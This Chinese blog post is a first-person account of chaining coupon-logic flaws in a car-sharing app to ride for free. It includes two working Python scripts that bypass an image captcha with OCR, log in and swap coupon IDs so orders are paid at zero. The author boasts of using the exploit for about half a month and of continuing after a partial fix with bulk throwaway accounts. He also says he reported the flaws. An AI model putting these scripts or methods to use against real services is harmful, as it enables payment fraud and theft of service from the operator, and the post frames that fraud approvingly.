逻辑漏洞组合利用,看我如何免费开共享汽车

逻辑漏洞组合利用,看我如何免费开共享汽车

首先声明,本文是我真实的挖洞经历。撰写本文时厂商已修复该漏洞,相关漏洞也提交给了补天。本文不涉及任何利益相关,给出的代码也对URL做了处理,纯粹是挖洞经验的总结和技术分享,望周知!

大二暑假在学校待着挺无聊了的,每天都是挖洞和写代码,看似枯燥但也很有意思。看过我博客的朋友,应该都知道我之前写过一篇薅羊毛的技术分析文章。没看过的朋友可以了解一下,也是和本文相关的。

记一次薅羊毛实战–从抓包分析到脚本自动化

不废话直接说挖洞的整个过程。

如果开过共享汽车的朋友应该都知道,因为共享汽车还在推广阶段,各个厂商都会有给新用户发各种优惠券,什么免时长券,xx金额的无门槛券之类的很多。而本文就是从优惠券的入手,发现其中存在逻辑漏洞,而且还不止一个。最终将多个逻辑漏洞组合利用,免费开上了共享汽车。

但是思路不能局限啊,不知道为什么我就想到优惠券那里是不是也存在越权漏洞呢。也许是之前写那个薅10元的无门槛券的代码太上头了吧。因为抓包的时候发现每次支付订单的时候,客户端都会向服务端请求当前的优惠券信息,而app的请求中是将优惠券分为了两类,是针对当前订单可用与不可用两种。

但是在我抓包分析之后发现,这个优惠券是否能使用完全由客户端来做判断的,服务端只是将可用与不可用的优惠券分类发送给客户端。而在结算时,会显示所有优惠券,但是不满足该订单条件的是无法被选择的。比如这里就以过期的优惠券为例。

很明显过期的优惠券在订单结算时是无法选用的。那么思路就是我在抓包时,直接替换并加入多个已过期的优惠券id。为方便演示,我就直接在模拟器中改包。

我这里选的是短租7天的套餐,由于没有我当前账户里没有可选的优惠券,所以newCouponList则默认为空。此时我将前面记录的过期的多个优惠券id,填入其中重新发包。

此时可以看到订单的金额减下来了。

金额也由之前的896变为了750。此时我们可以选择直接支付订单了,但是不要以为只便宜了这么一点,因为这里只放了两张优惠券的id进去,当你的优惠券足够多(不管是否过期)的情况下,是可以都添加进去的,直到订单的金额最小值。

因为无论使用多少张优惠券订单的金额也不可能为0,也就意味着订单的金额是有一个最小值的。

在我的测试后发现,当优惠券金额大于车辆的租金金额时,也仅能抵扣租金部分的金额,基本服务费这些还是会有的,不过这样的逻辑漏洞也已经会造成了大量的经济损失。

虽然前端限制了一笔订单只能使用一张优惠券,但是后端并没有作校验,也就导致了多张优惠券id可以组合利用。

但是你以为这样就结束了吗。然而并没有,逻辑漏洞并不仅仅这一点,还有一个更恶心的越权,就是可以越权使用别人账户里的优惠券id???这种测试思路很简单,也就是假如我有A,B两个账户,我同样用上面的测试方法,用A账户走上面的流程抓包将优惠券id替换为B账户的优惠券id。测试后发现同样可以,这里我就不演示了。可以更骚。

如果说上面操作的并不能真正的白嫖,那么下面就换个角度。因为租车分为两种模式,一种短租,一种为共享。由于短租有基本服务费的限制,而共享模式没有,但原理是相同的。

最骚的是,同一张优惠券的id可以被反复利用。

这是暑假期间一次使用共享汽车最后订单支付的截图,由于订单结束到支付完成的过程,总共有十分钟的过程,所以可以在10分钟内走完上述的流程,最终实现0元支付,白嫖共享汽车。

但是你真的会以为我真的会抓包来做这么繁琐的事情吗??

当然不会,作为一只渗透狗,思路不怎么行!

肯定直接上py脚本,组合利用上面的多个越权漏洞,走完整个业务逻辑。上面抓包只是为了分析业务逻辑的漏洞。这里我把我写的payload给大家展示一下,关键信息已经处理了。但是代码写的很不规范,不过能用,不要太在意啦。

payload1.py

import requests
import json
import base64
from PIL import Image
import pytesseract
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
headers = {
    'Accept': 'application/json, text/plain, */*',
    'Referer': 'https://xxxxxxxxx/',
    'Origin': 'https://xxxxxxxxx',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
    'Content-Type': 'application/json;charset=UTF-8',
}
 
data = '{"_channel_id":"09","_client_version_no":"1.8.0"}'
import sys
sys.argv[1]
s = requests.session()
r = s.get('https://xxxxxxxxx/#/login?from=index', headers=headers,verify=False)
r = s.post('https://xxxxxxxxx/los/zuche-intf-login.graphicTokenImg', headers=headers, data=data)
ImgBase = json.loads(r.text)['model']['_content_']
 
with open('temp.png','wb') as f:
    f.write(base64.b64decode(ImgBase))
im = Image.open('temp.png')
im = im.convert('L')
im = im.point(lambda i: i > 140, mode='1').save('temp_.png')
im = Image.open('temp_.png')
code = pytesseract.image_to_string(im)
print('图片验证码识别成功:',code)
phone = input('请输入手机号:')
data = '{"otpType":"moblieMsgLogin","phone":"%s","dynamicToken":"%s","_channel_id":"09","_client_version_no":"1.8.0"}' % (phone,code)
 
r = s.post('https://xxxxxxxxx/los/zuche-intf-login.sendAllSmsOTP', headers=headers, data=data)
print(r.text)
if json.loads(r.text)['responseCode'] == '000000':
    print('触发平台发送验证码成功!')
    cookies = requests.utils.dict_from_cookiejar(s.cookies)
    with open("cookies.txt", "w") as f:
        json.dump(cookies, f)
else:
    print('发送失败!')

payload2.py

import requests
import json
import urllib3
import sys
import time
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
 
headers = {
    'Accept': 'application/json, text/plain, */*',
    'Referer': 'https://xxxxxxxxx/',
    'Origin': 'https://xxxxxxxxx',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
    'Content-Type': 'application/json;charset=UTF-8',
}
 
with open("cookies.txt", "r") as f:
    load_cookies=json.load(f)
s = requests.session()
s.cookie = requests.utils.cookiejar_from_dict(load_cookies)
 
with open('phone.txt')as f:
    phone = f.read()
code = sys.argv[1]
ip = sys.argv[2]
data = '{"phone":"%s","code":"%s","_channel_id":"09","_client_version_no":"1.8.0"}'% (phone,code)
 
r = s.post('https://xxxxxxxxx/los/zuche-intf-login.loginByMobile', headers=headers,data=data)
 
data = '{"pageNo":1,"pageSize":10,"businessTypeList":[0,1],"_channel_id":"09","_client_version_no":"1.8.0"}'
 
r = s.post('https://xxxxxxxxx/los/zuche-intf-rent.orderList', headers=headers, data=data)
r = json.loads(r.text)
orderNo = r['model']['orderListVO'][0]['orderNo']
umNo = r['model']['orderListVO'][0]['umNo']
nc = 'NC608347128947986433'
nowtime = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
try:
    data = '{"memberNo":"%s","orderNo":"%s","couponCalcFlag":1,"couponId":"%s","_channel_id":"09","_client_version_no":"1.8.0"}' % (
    umNo, orderNo, nc)
    r = s.post('https://xxxxxxxxx/los/zuche-intf-union.getOrderDetail_v_3_2_2', headers=headers, data=data)
    data = '{"memberNo":"%s","orderNo":"%s","couponId":"%s","_channel_id":"09","_client_version_no":"1.8.0"}' % (
    umNo, orderNo, nc)
    r = s.post('https://xxxxxxxxx/los/zuche-intf-union.orderReturnCarSettle', headers=headers, data=data)
    r = s.post('https://xxxxxxxxx/los/zuche-intf-union.getOrderDetail_v_3_2_2', headers=headers, data=data)
    data = '{"memberNo":"%s","orderNo":"%s","remarks":"","appScore":1,"score":4,"scoreItem3":5,"scoreItem4":5,"_channel_id":"09","_client_version_no":"1.8.0"}' % (
    umNo, orderNo)
    r = s.post('https://xxxxxxxxx/los/zuche-intf-union.orderComment', headers=headers, data=data)
    print('success')
except:
    print('fail')

以上两个payload是组合利用的。大家思考一下,如果不通过抓包的方式要想实现优惠券id的替换,那肯定要用脚本完成登录流程。所以我的利用思路就是利用脚本登录账户后,查找账户中未支付的订单,替换优惠券id完成支付流程。因为上面说过他们的业务逻辑是订单完成后有10分中的支付时间,如果10分钟未手动完成支付,则自动向支付宝发起扣款完成支付。而其中我就是用php来接收参数,再用php调用Python脚本来执行,其中也踩了很多坑。

Php调用Python脚本踩过的一些坑

所以我们可以把payload,放到服务器上,写一个简单的前端页面,接收参数传给后端再给py处理,完成整个漏洞的利用。就这样做成了一个接口,每次自己用完车之后就可以愉快地玩耍啦。

有人可能会问登录账号的时候如何同时解决图片验证码和手机验证码?

  • 图片验证码我是自己写的一个匿名函数来做的二值化,再拿给OCR识别,因为他们的验证码真的很简单,二值化处理后OCR的识别率基本上有99%,没啥问题。
  • 如何解决手机验证码,也是我为什么要分成两个payload的原因。这其中存在用户交互的过程,需要用户的验证码,所以payload1.py就是触发验证码,将cookie写入文本文件中。payload2.py中读取之前的cookie和用户的验证码完成登录逻辑完成支付。

于是乎,就这样白嫖了半个月的共享汽车,顺便也把这一堆的漏洞在补天上提交了。

还有例如这类漏洞。

所以你以为到这里就结束了??

在他们修复了漏洞之后,看上去好像是不能利用,但是我发现他们的程序猿思考问题不够全面啊。

我前面说过这个漏洞是我用多个逻辑漏洞组合实现的。他们的开发,只是把优惠券id可以被反复利用给修补上了,但是并没有把越权的漏洞给补上,这还不是治标不治本嘛。

所以第二天我又想出了更骚的思路,我用接码平台批量注册了一堆小号。按照他们的业务逻辑,新注册的用户不管用户有没有实名认证都会向账户里直接发放优惠券。

我真的很懵逼,他们的程序猿是什么鬼才逻辑。我猜他们是这样想的,反正用户用手机号注册了就发放优惠券,反正他没有实名认证就用不了优惠券。但是根本没想到越权这些,直接使用别人账户里的优惠券。

换汤不换药,老壶装新酒!

接着白嫖,哈哈哈。

然鹅过了几天,他们似乎发现了把这个越权也修复了。不过真的挺有意思。

总结一下,梳理其中用到的逻辑漏洞。

  1. 服务端未校验优惠券是否符合该订单的规则(共享还是短租)
  2. 服务端未校验优惠券状态(是否过期)
  3. 服务端未校验优惠券是否属于该用户
  4. 服务端未限制订单优惠券使用数量
  5. 同一优惠券能够被反复使用(与是否过期无关)
  6. 未校验新注册用户是否实名认证,直接发放优惠券

我就是将这6个逻辑漏洞组合利用,从而实现白嫖共享汽车。

我觉得有的时候挖洞真的不要局限于xss,sql注入这一类漏洞。更多时候可以从业务逻辑入手,感觉可以发现很多意思的东西,哈哈。

PS:

其实不要看这些漏洞都挺简单的,但是挖洞的时候真的不像想象的那么简单。因为这是真实的漏洞场景,暑假的时候,我一个人抱着笔记本电脑蹲在学校对面的中信大道上,因为共享汽车都是停在路边的,要完成整个支付逻辑,必须要在汽车旁。当时为了抓包,手机开着热点,在大街上蹲了一上午。路人都像看傻子一样看着我,那又能怎样。做自己的事情就好了。

zgao

如果有什么技术上的问题,可以加我的qq 1761321396 一起交流。

5条评论

匿名 发布于1:16 上午 - 11月 20, 2019

渗透高手!

w1 发布于9:11 下午 - 11月 13, 2019

“我就直接在模拟器中改包”,请问是用什么模拟器呀

    zgao 发布于10:45 下午 - 11月 13, 2019

    我这里是用的mumu模拟器,不过其他安卓模拟器都可以

towl 发布于7:41 上午 - 11月 4, 2019

很可以,加油。

    zgao 发布于9:04 上午 - 11月 4, 2019

    谢谢支持